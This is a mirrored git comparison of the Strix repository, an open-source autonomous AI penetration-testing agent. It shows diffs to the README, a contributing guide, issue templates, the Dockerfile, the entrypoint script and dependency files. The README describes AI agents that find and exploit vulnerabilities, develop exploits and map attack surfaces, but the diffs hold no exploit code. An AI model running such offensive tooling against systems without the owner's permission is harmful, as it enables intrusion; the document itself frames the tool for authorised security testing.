mirror of
https://github.com/usestrix/strix.git
synced 2026-08-16 17:27:26 +02:00
Compare commits
87
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9825fb46ec | ||
|
|
c0e547928e | ||
|
|
78d0148d58 | ||
|
|
eebb76de3b | ||
|
|
2ae1b3ddd1 | ||
|
|
a11cd09a93 | ||
|
|
68ebdb2b6d | ||
|
|
5befb32318 | ||
|
|
86e6ed49bb | ||
|
|
0c811845f1 | ||
|
|
383d53c7a9 | ||
|
|
478bf5d4d3 | ||
|
|
d1f7741965 | ||
|
|
821929cd3e | ||
|
|
5de16d2953 | ||
|
|
6a2a62c121 | ||
|
|
426dd27454 | ||
|
|
cedc65409e | ||
|
|
72d5a73386 | ||
|
|
dab69af033 | ||
|
|
6abb53dc02 | ||
|
|
f1d2961779 | ||
|
|
2b7a8e3ee7 | ||
|
|
3e7466a533 | ||
|
|
1abfb360e4 | ||
|
|
795ed02955 | ||
|
|
2cb0c31897 | ||
|
|
1c8780cf81 | ||
|
|
b6d9d941cf | ||
|
|
edd628bbc1 | ||
|
|
d76c7c55b2 | ||
|
|
b5ddba3867 | ||
|
|
2763998821 | ||
|
|
6a84ea94fa | ||
|
|
cf1d43706a | ||
|
|
b9f8ee3f67 | ||
|
|
2d6db8f95e | ||
|
|
7178307b9d | ||
|
|
738fdc2d49 | ||
|
|
deee85d547 | ||
|
|
354fd48480 | ||
|
|
1f29c71a88 | ||
|
|
97154c7d0e | ||
|
|
395013fdeb | ||
|
|
ecf5271981 | ||
|
|
71c232b577 | ||
|
|
f2b4eccc5b | ||
|
|
86dd6f5330 | ||
|
|
85209bfc20 | ||
|
|
54851e2e0a | ||
|
|
a4712b7b78 | ||
|
|
96f5c44799 | ||
|
|
49df6ef8e0 | ||
|
|
c78f7d37de | ||
|
|
e2756f4821 | ||
|
|
ed77eef89b | ||
|
|
4681f23b1f | ||
|
|
1eb6023fb6 | ||
|
|
216809a157 | ||
|
|
f22acefd76 | ||
|
|
6d5a3f331b | ||
|
|
d4a62ec365 | ||
|
|
fa566e5fb5 | ||
|
|
7de9c4efe1 | ||
|
|
522d2c8948 | ||
|
|
9e7c133bbf | ||
|
|
7979b84cc3 | ||
|
|
94ca55b065 | ||
|
|
ac6d5c6dae | ||
|
|
af01294c46 | ||
|
|
c8b23720df | ||
|
|
7d8ffe1e32 | ||
|
|
aabf97af0a | ||
|
|
5294d613d0 | ||
|
|
9a9a7268cd | ||
|
|
914b981072 | ||
|
|
500b987ed4 | ||
|
|
138c5a9023 | ||
|
|
9adbd03ff1 | ||
|
|
ec99626ba8 | ||
|
|
d43fb5be03 | ||
|
|
4a719130ff | ||
|
|
19f166e608 | ||
|
|
cb57426cc6 | ||
|
|
198a5e4a61 | ||
|
|
ccab853c0f | ||
|
|
337d64d362 |
@@ -1,126 +0,0 @@
|
||||
---
|
||||
description:
|
||||
globs:
|
||||
alwaysApply: true
|
||||
---
|
||||
# Strix Cybersecurity Agent - Project Rules
|
||||
|
||||
## Project Overview
|
||||
|
||||
### Goal and Purpose
|
||||
Strix is a sophisticated cybersecurity agent specialized in vulnerability scanning and security assessment. It provides:
|
||||
- Automated cybersecurity scans and assessments
|
||||
- Web application security testing
|
||||
- Infrastructure vulnerability analysis
|
||||
- Comprehensive security reporting
|
||||
- RESTful API for scan management
|
||||
- CLI interface for direct usage
|
||||
|
||||
The project implements an AI-powered ReAct (Reasoning and Acting) framework for autonomous security testing.
|
||||
|
||||
## Project Structure
|
||||
|
||||
### High-Level Architecture
|
||||
```
|
||||
strix-agent/
|
||||
├── strix/ # Core application package
|
||||
│ ├── agents/ # AI agent implementations
|
||||
│ ├── api/ # FastAPI web service
|
||||
│ ├── cli/ # Command-line interface
|
||||
│ ├── llm/ # Language model configurations
|
||||
│ └── tools/ # Security testing tools
|
||||
├── tests/ # Test suite
|
||||
├── evaluation/ # Evaluation framework
|
||||
├── containers/ # Docker configuration
|
||||
└── docs/ # Documentation
|
||||
```
|
||||
|
||||
### Low-Level Structure
|
||||
|
||||
#### Core Components
|
||||
- **[strix/agents/StrixAgent/strix_agent.py](mdc:strix/agents/StrixAgent/strix_agent.py)** - Main cybersecurity agent
|
||||
- **[strix/agents/base_agent.py](mdc:strix/agents/base_agent.py)** - Base agent framework
|
||||
- **[strix/api/main.py](mdc:strix/api/main.py)** - FastAPI application entry point
|
||||
- **[strix/cli/main.py](mdc:strix/cli/main.py)** - CLI entry point
|
||||
- **[pyproject.toml](mdc:pyproject.toml)** - Project configuration and dependencies
|
||||
|
||||
#### API Structure
|
||||
- **[strix/api/routers/](mdc:strix/api/routers)** - API endpoint definitions
|
||||
- **[strix/api/models/](mdc:strix/api/models)** - Pydantic data models
|
||||
- **[strix/api/services/](mdc:strix/api/services)** - Business logic services
|
||||
|
||||
#### Security Tools
|
||||
- **[strix/tools/browser/](mdc:strix/tools/browser)** - Web browser automation
|
||||
- **[strix/tools/terminal/](mdc:strix/tools/terminal)** - Terminal command execution
|
||||
- **[strix/tools/python/](mdc:strix/tools/python)** - Python code execution
|
||||
- **[strix/tools/web_search/](mdc:strix/tools/web_search)** - Web reconnaissance
|
||||
- **[strix/tools/reporting/](mdc:strix/tools/reporting)** - Security report generation
|
||||
|
||||
## Development Guidelines
|
||||
|
||||
### Code Standards
|
||||
- **Simplicity**: Write simple, clean, and modular code
|
||||
- **Functionality**: Prefer functional programming patterns where appropriate
|
||||
- **Efficiency**: Optimize for performance without premature optimization
|
||||
- **No Bloat**: Avoid unnecessary complexity or over-engineering
|
||||
- **Minimal Comments**: Code should be self-documenting; use comments sparingly for complex business logic only
|
||||
|
||||
### Code Quality Requirements
|
||||
- All code MUST pass `make pre-commit` checks
|
||||
- All code MUST pass Ruff linting without warnings
|
||||
- All code MUST pass MyPy type checking without errors
|
||||
- Type hints are required for all function signatures
|
||||
- Follow the strict configuration in [pyproject.toml](mdc:pyproject.toml)
|
||||
|
||||
### Execution Environment
|
||||
- **ALWAYS** use `poetry run` for executing Python scripts and commands
|
||||
- **NEVER** run Python directly with `python` command
|
||||
- Use `poetry run strix-agent` for CLI operations
|
||||
- Use `poetry run uvicorn strix.api.main:app` for API server
|
||||
|
||||
### File Management Rules
|
||||
- **DO NOT** create or edit README.md or any .md documentation files unless explicitly requested
|
||||
- Focus on code implementation, not documentation
|
||||
- Keep docstrings concise and functional
|
||||
|
||||
### Testing and Quality Assurance
|
||||
- Run `make pre-commit` before any commits
|
||||
- Ensure all tests pass with `poetry run pytest`
|
||||
- Use `poetry run mypy .` for type checking
|
||||
- Use `poetry run ruff check .` for linting
|
||||
|
||||
### Dependencies
|
||||
- All dependencies managed through [pyproject.toml](mdc:pyproject.toml)
|
||||
- Use Poetry for dependency management
|
||||
- Pin versions for production dependencies
|
||||
- Keep dev dependencies in separate group
|
||||
|
||||
### Configuration
|
||||
- Application settings in [strix/api/core/config.py](mdc:strix/api/core/config.py)
|
||||
- LLM configuration in [strix/llm/config.py](mdc:strix/llm/config.py)
|
||||
- Agent system prompts in [strix/agents/StrixAgent/system_prompt.jinja](mdc:strix/agents/StrixAgent/system_prompt.jinja)
|
||||
|
||||
## Key Implementation Patterns
|
||||
|
||||
### Agent Framework
|
||||
- Inherit from BaseAgent for new agent implementations
|
||||
- Use ReAct pattern for reasoning and action loops
|
||||
- Implement tools through the registry system in [strix/tools/registry.py](mdc:strix/tools/registry.py)
|
||||
|
||||
### API Development
|
||||
- Use FastAPI with Pydantic models
|
||||
- Implement proper error handling and validation
|
||||
- Follow REST conventions for endpoints
|
||||
- Use Beanie ODM for MongoDB operations
|
||||
|
||||
### Security Tools
|
||||
- Implement tools as action classes with clear interfaces
|
||||
- Use async/await for I/O operations
|
||||
- Implement proper cleanup and resource management
|
||||
- Follow principle of least privilege
|
||||
|
||||
### Error Handling
|
||||
- Use structured exception handling
|
||||
- Provide meaningful error messages
|
||||
- Log errors appropriately without exposing sensitive information
|
||||
- Implement graceful degradation where possible
|
||||
@@ -0,0 +1,33 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: "[BUG]"
|
||||
labels: bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1.
|
||||
2.
|
||||
3.
|
||||
4.
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**System Information:**
|
||||
- OS: [e.g. Ubuntu 22.04]
|
||||
- Strix Version or Commit: [e.g. 0.1.18]
|
||||
- Python Version: [e.g. 3.12]
|
||||
- LLM Used: [e.g. GPT-5, Claude Sonnet 4]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
@@ -0,0 +1,20 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Suggest an idea for this project
|
||||
title: "[FEATURE]"
|
||||
labels: enhancement
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Is your feature request related to a problem? Please describe.**
|
||||
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
|
||||
|
||||
**Describe the solution you'd like**
|
||||
A clear and concise description of what you want to happen.
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 3.7 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 679 KiB After Width: | Height: | Size: 400 KiB |
@@ -79,6 +79,7 @@ logs/
|
||||
tensorboard/
|
||||
|
||||
# Agent execution traces
|
||||
strix_runs/
|
||||
agent_runs/
|
||||
|
||||
# Misc
|
||||
|
||||
+116
@@ -0,0 +1,116 @@
|
||||
# Contributing to Strix
|
||||
|
||||
Thank you for your interest in contributing to Strix! This guide will help you get started with development and contributions.
|
||||
|
||||
## 🚀 Development Setup
|
||||
|
||||
### Prerequisites
|
||||
|
||||
- Python 3.12+
|
||||
- Docker (running)
|
||||
- Poetry (for dependency management)
|
||||
- Git
|
||||
|
||||
### Local Development
|
||||
|
||||
1. **Clone the repository**
|
||||
```bash
|
||||
git clone https://github.com/usestrix/strix.git
|
||||
cd strix
|
||||
```
|
||||
|
||||
2. **Install development dependencies**
|
||||
```bash
|
||||
make setup-dev
|
||||
|
||||
# or manually:
|
||||
poetry install --with=dev
|
||||
poetry run pre-commit install
|
||||
```
|
||||
|
||||
3. **Configure your LLM provider**
|
||||
```bash
|
||||
export STRIX_LLM="openai/gpt-5"
|
||||
export LLM_API_KEY="your-api-key"
|
||||
```
|
||||
|
||||
4. **Run Strix in development mode**
|
||||
```bash
|
||||
poetry run strix --target https://example.com
|
||||
```
|
||||
|
||||
## 📚 Contributing Prompt Modules
|
||||
|
||||
Prompt modules are specialized knowledge packages that enhance agent capabilities. See [strix/prompts/README.md](strix/prompts/README.md) for detailed guidelines.
|
||||
|
||||
### Quick Guide
|
||||
|
||||
1. **Choose the right category** (`/vulnerabilities`, `/frameworks`, `/technologies`, etc.)
|
||||
2. **Create a** `.jinja` file with your prompts
|
||||
3. **Include practical examples** - Working payloads, commands, or test cases
|
||||
4. **Provide validation methods** - How to confirm findings and avoid false positives
|
||||
5. **Submit via PR** with clear description
|
||||
|
||||
## 🔧 Contributing Code
|
||||
|
||||
### Pull Request Process
|
||||
|
||||
1. **Create an issue first** - Describe the problem or feature
|
||||
2. **Fork and branch** - Work from the `main` branch
|
||||
3. **Make your changes** - Follow existing code style
|
||||
4. **Write/update tests** - Ensure coverage for new features
|
||||
5. **Run quality checks** - `make check-all` should pass
|
||||
6. **Submit PR** - Link to issue and provide context
|
||||
|
||||
### PR Guidelines
|
||||
|
||||
- **Clear description** - Explain what and why
|
||||
- **Small, focused changes** - One feature/fix per PR
|
||||
- **Include examples** - Show before/after behavior
|
||||
- **Update documentation** - If adding features
|
||||
- **Pass all checks** - Tests, linting, type checking
|
||||
|
||||
### Code Style
|
||||
|
||||
- Follow PEP 8 with 100-character line limit
|
||||
- Use type hints for all functions
|
||||
- Write docstrings for public methods
|
||||
- Keep functions focused and small
|
||||
- Use meaningful variable names
|
||||
|
||||
## 🐛 Reporting Issues
|
||||
|
||||
When reporting bugs, please include:
|
||||
|
||||
- Python version and OS
|
||||
- Strix version
|
||||
- LLMs being used
|
||||
- Full error traceback
|
||||
- Steps to reproduce
|
||||
- Expected vs actual behavior
|
||||
|
||||
## 💡 Feature Requests
|
||||
|
||||
We welcome feature ideas! Please:
|
||||
|
||||
- Check existing issues first
|
||||
- Describe the use case clearly
|
||||
- Explain why it would benefit users
|
||||
- Consider implementation approach
|
||||
- Be open to discussion
|
||||
|
||||
## 🤝 Community
|
||||
|
||||
- **Discord**: [Join our community](https://discord.gg/YjKFvEZSdZ)
|
||||
- **Issues**: [GitHub Issues](https://github.com/usestrix/strix/issues)
|
||||
|
||||
## ✨ Recognition
|
||||
|
||||
We value all contributions! Contributors will be:
|
||||
- Listed in release notes
|
||||
- Thanked in our Discord
|
||||
- Added to contributors list (coming soon)
|
||||
|
||||
---
|
||||
|
||||
**Questions?** Reach out on [Discord](https://discord.gg/YjKFvEZSdZ) or create an issue. We're here to help!
|
||||
@@ -1,63 +1,120 @@
|
||||
<p align="center">
|
||||
<a href="https://usestrix.com/">
|
||||
<img src=".github/logo.png" width="150" alt="Strix Logo">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
<h1 align="center">Strix</h1>
|
||||
|
||||
<h2 align="center">Open-source AI Hackers to secure your Apps</h2>
|
||||
|
||||
<div align="center">
|
||||
|
||||
# Strix
|
||||
[](https://pypi.org/project/strix-agent/)
|
||||
[](https://pypi.org/project/strix-agent/)
|
||||
[](https://pepy.tech/projects/strix-agent)
|
||||
[](LICENSE)
|
||||
|
||||
### Open-source AI hackers for your apps
|
||||
[](https://github.com/usestrix/strix)
|
||||
[](https://discord.gg/YjKFvEZSdZ)
|
||||
[](https://usestrix.com)
|
||||
|
||||
[](LICENSE)
|
||||
[](https://vercel.com/ai-accelerator)
|
||||
[](https://github.com/usestrix/strix)
|
||||
[](https://discord.gg/yduEyduBsp)
|
||||
|
||||
**⚡ Use it to hack your apps before the bad guys do ⚡**
|
||||
<a href="https://trendshift.io/repositories/15362" target="_blank"><img src="https://trendshift.io/api/badge/repositories/15362" alt="usestrix%2Fstrix | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
|
||||
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
<div align="center">
|
||||
<img src=".github/screenshot.png" alt="Strix Demo" width="800" style="border-radius: 16px; box-shadow: 0 20px 40px rgba(0, 0, 0, 0.3), 0 0 0 1px rgba(255, 255, 255, 0.1), inset 0 1px 0 rgba(255, 255, 255, 0.2); transform: perspective(1000px) rotateX(2deg); transition: transform 0.3s ease;">
|
||||
<img src=".github/screenshot.png" alt="Strix Demo" width="800" style="border-radius: 16px;">
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
> [!TIP]
|
||||
> **New!** Strix now integrates seamlessly with GitHub Actions and CI/CD pipelines. Automatically scan for vulnerabilities on every pull request and block insecure code before it reaches production!
|
||||
|
||||
---
|
||||
|
||||
## 🦉 Strix Overview
|
||||
|
||||
Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual exploitation. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
|
||||
Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
|
||||
|
||||
### 🚀 Quick Start
|
||||
**Key Capabilities:**
|
||||
|
||||
- 🔧 **Full hacker toolkit** out of the box
|
||||
- 🤝 **Teams of agents** that collaborate and scale
|
||||
- ✅ **Real validation** with PoCs, not false positives
|
||||
- 💻 **Developer‑first** CLI with actionable reports
|
||||
- 🔄 **Auto‑fix & reporting** to accelerate remediation
|
||||
|
||||
|
||||
## 🎯 Use Cases
|
||||
|
||||
- **Application Security Testing** - Detect and validate critical vulnerabilities in your applications
|
||||
- **Rapid Penetration Testing** - Get penetration tests done in hours, not weeks, with compliance reports
|
||||
- **Bug Bounty Automation** - Automate bug bounty research and generate PoCs for faster reporting
|
||||
- **CI/CD Integration** - Run tests in CI/CD to block vulnerabilities before reaching production
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Quick Start
|
||||
|
||||
**Prerequisites:**
|
||||
- Docker (running)
|
||||
- Python 3.12+
|
||||
- An LLM provider key (e.g. [get OpenAI API key](https://platform.openai.com/api-keys) or use a local LLM)
|
||||
|
||||
### Installation & First Scan
|
||||
|
||||
```bash
|
||||
# Install
|
||||
# Install Strix
|
||||
pipx install strix-agent
|
||||
|
||||
# Configure AI provider
|
||||
export STRIX_LLM="anthropic/claude-opus-4-1-20250805"
|
||||
# Configure your AI provider
|
||||
export STRIX_LLM="openai/gpt-5"
|
||||
export LLM_API_KEY="your-api-key"
|
||||
|
||||
# Run security assessment
|
||||
# Run your first security assessment
|
||||
strix --target ./app-directory
|
||||
```
|
||||
|
||||
## Why Use Strix
|
||||
> [!NOTE]
|
||||
> First run automatically pulls the sandbox Docker image. Results are saved to `strix_runs/<run-name>`
|
||||
|
||||
- **Full Hacker Arsenal** - All the tools a professional hacker needs, built into the agents
|
||||
- **Real Validation** - Dynamic testing and actual exploitation, thus much fewer false positives
|
||||
- **Developer-First** - Seamlessly integrates into existing development workflows
|
||||
- **Auto-Fix & Reporting** - Automated patching with detailed remediation and security reports
|
||||
## ☁️ Run Strix in Cloud
|
||||
|
||||
Want to skip the local setup, API keys, and unpredictable LLM costs? Run the hosted cloud version of Strix at **[app.usestrix.com](https://app.usestrix.com)**.
|
||||
|
||||
Launch a scan in just a few minutes—no setup or configuration required—and you’ll get:
|
||||
|
||||
- **A full pentest report** with validated findings and clear remediation steps
|
||||
- **Shareable dashboards** your team can use to track fixes over time
|
||||
- **CI/CD and GitHub integrations** to block risky changes before production
|
||||
- **Continuous monitoring** so new vulnerabilities are caught quickly
|
||||
|
||||
[**Run your first pentest now →**](https://app.usestrix.com)
|
||||
|
||||
---
|
||||
|
||||
## ✨ Features
|
||||
|
||||
### 🛠️ Agentic Security Tools
|
||||
|
||||
- **🔌 Full HTTP Proxy** - Full request/response manipulation and analysis
|
||||
- **🌐 Browser Automation** - Multi-tab browser for testing of XSS, CSRF, auth flows
|
||||
- **💻 Terminal Environments** - Interactive shells for command execution and testing
|
||||
- **🐍 Python Runtime** - Custom exploit development and validation
|
||||
- **🔍 Reconnaissance** - Automated OSINT and attack surface mapping
|
||||
- **📁 Code Analysis** - Static and dynamic analysis capabilities
|
||||
- **📝 Knowledge Management** - Structured findings and attack documentation
|
||||
Strix agents come equipped with a comprehensive security testing toolkit:
|
||||
|
||||
- **Full HTTP Proxy** - Full request/response manipulation and analysis
|
||||
- **Browser Automation** - Multi-tab browser for testing of XSS, CSRF, auth flows
|
||||
- **Terminal Environments** - Interactive shells for command execution and testing
|
||||
- **Python Runtime** - Custom exploit development and validation
|
||||
- **Reconnaissance** - Automated OSINT and attack surface mapping
|
||||
- **Code Analysis** - Static and dynamic analysis capabilities
|
||||
- **Knowledge Management** - Structured findings and attack documentation
|
||||
|
||||
### 🎯 Comprehensive Vulnerability Detection
|
||||
|
||||
Strix can identify and validate a wide range of security vulnerabilities:
|
||||
|
||||
- **Access Control** - IDOR, privilege escalation, auth bypass
|
||||
- **Injection Attacks** - SQL, NoSQL, command injection
|
||||
- **Server-Side** - SSRF, XXE, deserialization flaws
|
||||
@@ -68,80 +125,117 @@ strix --target ./app-directory
|
||||
|
||||
### 🕸️ Graph of Agents
|
||||
|
||||
Advanced multi-agent orchestration for comprehensive security testing:
|
||||
|
||||
- **Distributed Workflows** - Specialized agents for different attacks and assets
|
||||
- **Scalable Testing** - Parallel execution for fast comprehensive coverage
|
||||
- **Dynamic Coordination** - Agents collaborate and share discoveries
|
||||
|
||||
---
|
||||
|
||||
## 💻 Usage Examples
|
||||
|
||||
### Basic Usage
|
||||
|
||||
```bash
|
||||
# Local codebase analysis
|
||||
# Scan a local codebase
|
||||
strix --target ./app-directory
|
||||
|
||||
# Repository security review
|
||||
# Security review of a GitHub repository
|
||||
strix --target https://github.com/org/repo
|
||||
|
||||
# Web application assessment
|
||||
# Black-box web application assessment
|
||||
strix --target https://your-app.com
|
||||
```
|
||||
|
||||
# Focused testing
|
||||
strix --target api.your-app.com --instruction "Prioritize authentication and authorization testing"
|
||||
### Advanced Testing Scenarios
|
||||
|
||||
```bash
|
||||
# Grey-box authenticated testing
|
||||
strix --target https://your-app.com --instruction "Perform authenticated testing using credentials: user:pass"
|
||||
|
||||
# Multi-target testing (source code + deployed app)
|
||||
strix -t https://github.com/org/app -t https://your-app.com
|
||||
|
||||
# Focused testing with custom instructions
|
||||
strix --target api.your-app.com --instruction "Focus on business logic flaws and IDOR vulnerabilities"
|
||||
```
|
||||
|
||||
### 🤖 Headless Mode
|
||||
|
||||
Run Strix programmatically without interactive UI using the `-n/--non-interactive` flag—perfect for servers and automated jobs. The CLI prints real-time vulnerability findings, and the final report before exiting. Exits with non-zero code when vulnerabilities are found.
|
||||
|
||||
```bash
|
||||
strix -n --target https://your-app.com
|
||||
```
|
||||
|
||||
### 🔄 CI/CD (GitHub Actions)
|
||||
|
||||
Strix can be added to your pipeline to run a security test on pull requests with a lightweight GitHub Actions workflow:
|
||||
|
||||
```yaml
|
||||
name: strix-penetration-test
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
security-scan:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Install Strix
|
||||
run: pipx install strix-agent
|
||||
|
||||
- name: Run Strix
|
||||
env:
|
||||
STRIX_LLM: ${{ secrets.STRIX_LLM }}
|
||||
LLM_API_KEY: ${{ secrets.LLM_API_KEY }}
|
||||
|
||||
run: strix -n -t ./
|
||||
```
|
||||
|
||||
### ⚙️ Configuration
|
||||
|
||||
```bash
|
||||
# Required
|
||||
export STRIX_LLM="anthropic/claude-opus-4-1-20250805"
|
||||
export STRIX_LLM="openai/gpt-5"
|
||||
export LLM_API_KEY="your-api-key"
|
||||
|
||||
# Recommended
|
||||
export PERPLEXITY_API_KEY="your-api-key"
|
||||
# Optional
|
||||
export LLM_API_BASE="your-api-base-url" # if using a local model, e.g. Ollama, LMStudio
|
||||
export PERPLEXITY_API_KEY="your-api-key" # for search capabilities
|
||||
```
|
||||
|
||||
[📚 View supported AI models](https://docs.litellm.ai/docs/providers)
|
||||
[OpenAI's GPT-5](https://openai.com/api/) (`openai/gpt-5`) and [Anthropic's Claude Sonnet 4.5](https://claude.com/platform/api) (`anthropic/claude-sonnet-4-5`) are the recommended models for best results with Strix. We also support many [other options](https://docs.litellm.ai/docs/providers), including cloud and local models, though their performance and reliability may vary.
|
||||
|
||||
## 🏆 Enterprise Platform
|
||||
## 🤝 Contributing
|
||||
|
||||
Our managed platform provides:
|
||||
We welcome contributions from the community! There are several ways to contribute:
|
||||
|
||||
- **📈 Executive Dashboards**
|
||||
- **🧠 Custom Fine-Tuned Models**
|
||||
- **⚙️ CI/CD Integration**
|
||||
- **🔍 Large-Scale Scanning**
|
||||
- **🔌 Third-Party Integrations**
|
||||
- **🎯 Enterprise Support**
|
||||
### Code Contributions
|
||||
See our [Contributing Guide](CONTRIBUTING.md) for details on:
|
||||
- Setting up your development environment
|
||||
- Running tests and quality checks
|
||||
- Submitting pull requests
|
||||
- Code style guidelines
|
||||
|
||||
[**Get Enterprise Demo →**](https://form.typeform.com/to/ljtvl6X0)
|
||||
|
||||
## 🔒 Security Architecture
|
||||
### Prompt Modules Collection
|
||||
Help expand our collection of specialized prompt modules for AI agents:
|
||||
- Advanced testing techniques for vulnerabilities, frameworks, and technologies
|
||||
- See [Prompt Modules Documentation](strix/prompts/README.md) for guidelines
|
||||
- Submit via [pull requests](https://github.com/usestrix/strix/pulls) or [issues](https://github.com/usestrix/strix/issues)
|
||||
|
||||
- **Container Isolation** - All testing in sandboxed Docker environments
|
||||
- **Local Processing** - Testing runs locally, no data sent to external services
|
||||
## 👥 Join Our Community
|
||||
|
||||
> [!NOTE]
|
||||
> Strix is currently in Alpha. Expect rapid updates and improvements.
|
||||
|
||||
> [!WARNING]
|
||||
> Only test systems you own or have permission to test. You are responsible for using Strix ethically and legally.
|
||||
Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/YjKFvEZSdZ)**
|
||||
|
||||
## 🌟 Support the Project
|
||||
|
||||
**Love Strix?** Give us a ⭐ on GitHub!
|
||||
|
||||
## 👥 Join Our Community
|
||||
|
||||
Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/yduEyduBsp)**
|
||||
|
||||
---
|
||||
|
||||
<div align="center">
|
||||
|
||||
### About • Links
|
||||
|
||||
**[OmniSecure Inc.](https://omnisecure.ai)** • Applied AI Research Lab
|
||||
|
||||
[Discord Community](https://discord.gg/yduEyduBsp) • [Enterprise Solutions](https://form.typeform.com/to/ljtvl6X0) • [Report Issues](https://github.com/usestrix/strix/issues)
|
||||
> [!WARNING]
|
||||
> Only test apps you own or have permission to test. You are responsible for using Strix ethically and legally.
|
||||
|
||||
</div>
|
||||
|
||||
@@ -38,6 +38,7 @@ RUN apt-get update && \
|
||||
nodejs npm pipx \
|
||||
libcap2-bin \
|
||||
gdb \
|
||||
tmux \
|
||||
libnss3 libnspr4 libdbus-1-3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 libatspi2.0-0 \
|
||||
libxcomposite1 libxdamage1 libxfixes3 libxrandr2 libgbm1 libxkbcommon0 libpango-1.0-0 libcairo2 libasound2 \
|
||||
fonts-unifont fonts-noto-color-emoji fonts-freefont-ttf fonts-dejavu-core ttf-bitstream-vera \
|
||||
@@ -152,7 +153,7 @@ ENV PYTHONPATH=/app
|
||||
ENV REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt
|
||||
ENV SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt
|
||||
|
||||
RUN mkdir -p /shared_workspace /workspace && chown -R pentester:pentester /shared_workspace /workspace /app
|
||||
RUN mkdir -p /workspace && chown -R pentester:pentester /workspace /app
|
||||
|
||||
COPY pyproject.toml poetry.lock ./
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
if [ -z "$CAIDO_PORT" ] || [ -z "$STRIX_TOOL_SERVER_PORT" ]; then
|
||||
echo "Error: CAIDO_PORT and STRIX_TOOL_SERVER_PORT must be set."
|
||||
if [ -z "$CAIDO_PORT" ]; then
|
||||
echo "Error: CAIDO_PORT must be set."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
@@ -114,14 +114,8 @@ sudo -u pentester certutil -N -d sql:/home/pentester/.pki/nssdb --empty-password
|
||||
sudo -u pentester certutil -A -n "Testing Root CA" -t "C,," -i /app/certs/ca.crt -d sql:/home/pentester/.pki/nssdb
|
||||
echo "✅ CA added to browser trust store"
|
||||
|
||||
echo "Starting tool server..."
|
||||
cd /app && \
|
||||
STRIX_SANDBOX_MODE=true \
|
||||
STRIX_SANDBOX_TOKEN=${STRIX_SANDBOX_TOKEN} \
|
||||
CAIDO_API_TOKEN=${TOKEN} \
|
||||
poetry run uvicorn strix.runtime.tool_server:app --host 0.0.0.0 --port ${STRIX_TOOL_SERVER_PORT} &
|
||||
|
||||
echo "✅ Tool server started in background"
|
||||
echo "Container initialization complete - agents will start their own tool servers as needed"
|
||||
echo "✅ Shared container ready for multi-agent use"
|
||||
|
||||
cd /workspace
|
||||
|
||||
|
||||
Generated
+538
-355
File diff suppressed because it is too large
Load Diff
+7
-4
@@ -1,6 +1,6 @@
|
||||
[tool.poetry]
|
||||
name = "strix-agent"
|
||||
version = "0.1.8"
|
||||
version = "0.4.0"
|
||||
description = "Open-source AI Hackers for your apps"
|
||||
authors = ["Strix <hi@usestrix.com>"]
|
||||
readme = "README.md"
|
||||
@@ -28,7 +28,7 @@ classifiers = [
|
||||
"Programming Language :: Python :: 3.12",
|
||||
]
|
||||
packages = [
|
||||
{ include = "strix" }
|
||||
{ include = "strix", format = ["sdist", "wheel"] }
|
||||
]
|
||||
include = [
|
||||
"LICENSE",
|
||||
@@ -39,13 +39,14 @@ include = [
|
||||
]
|
||||
|
||||
[tool.poetry.scripts]
|
||||
strix = "strix.cli.main:main"
|
||||
strix = "strix.interface.main:main"
|
||||
|
||||
[tool.poetry.dependencies]
|
||||
python = "^3.12"
|
||||
fastapi = "*"
|
||||
uvicorn = "*"
|
||||
litellm = {extras = ["proxy"], version = "^1.75.5.post1"}
|
||||
litellm = { version = "~1.79.1", extras = ["proxy"] }
|
||||
openai = ">=1.99.5,<1.100.0"
|
||||
tenacity = "^9.0.0"
|
||||
numpydoc = "^1.8.0"
|
||||
pydantic = {extras = ["email"], version = "^2.11.3"}
|
||||
@@ -59,6 +60,7 @@ textual = "^4.0.0"
|
||||
xmltodict = "^0.13.0"
|
||||
pyte = "^0.8.1"
|
||||
requests = "^2.32.0"
|
||||
libtmux = "^0.46.2"
|
||||
|
||||
[tool.poetry.group.dev.dependencies]
|
||||
# Type checking and static analysis
|
||||
@@ -126,6 +128,7 @@ module = [
|
||||
"gql.*",
|
||||
"textual.*",
|
||||
"pyte.*",
|
||||
"libtmux.*",
|
||||
]
|
||||
ignore_missing_imports = true
|
||||
|
||||
|
||||
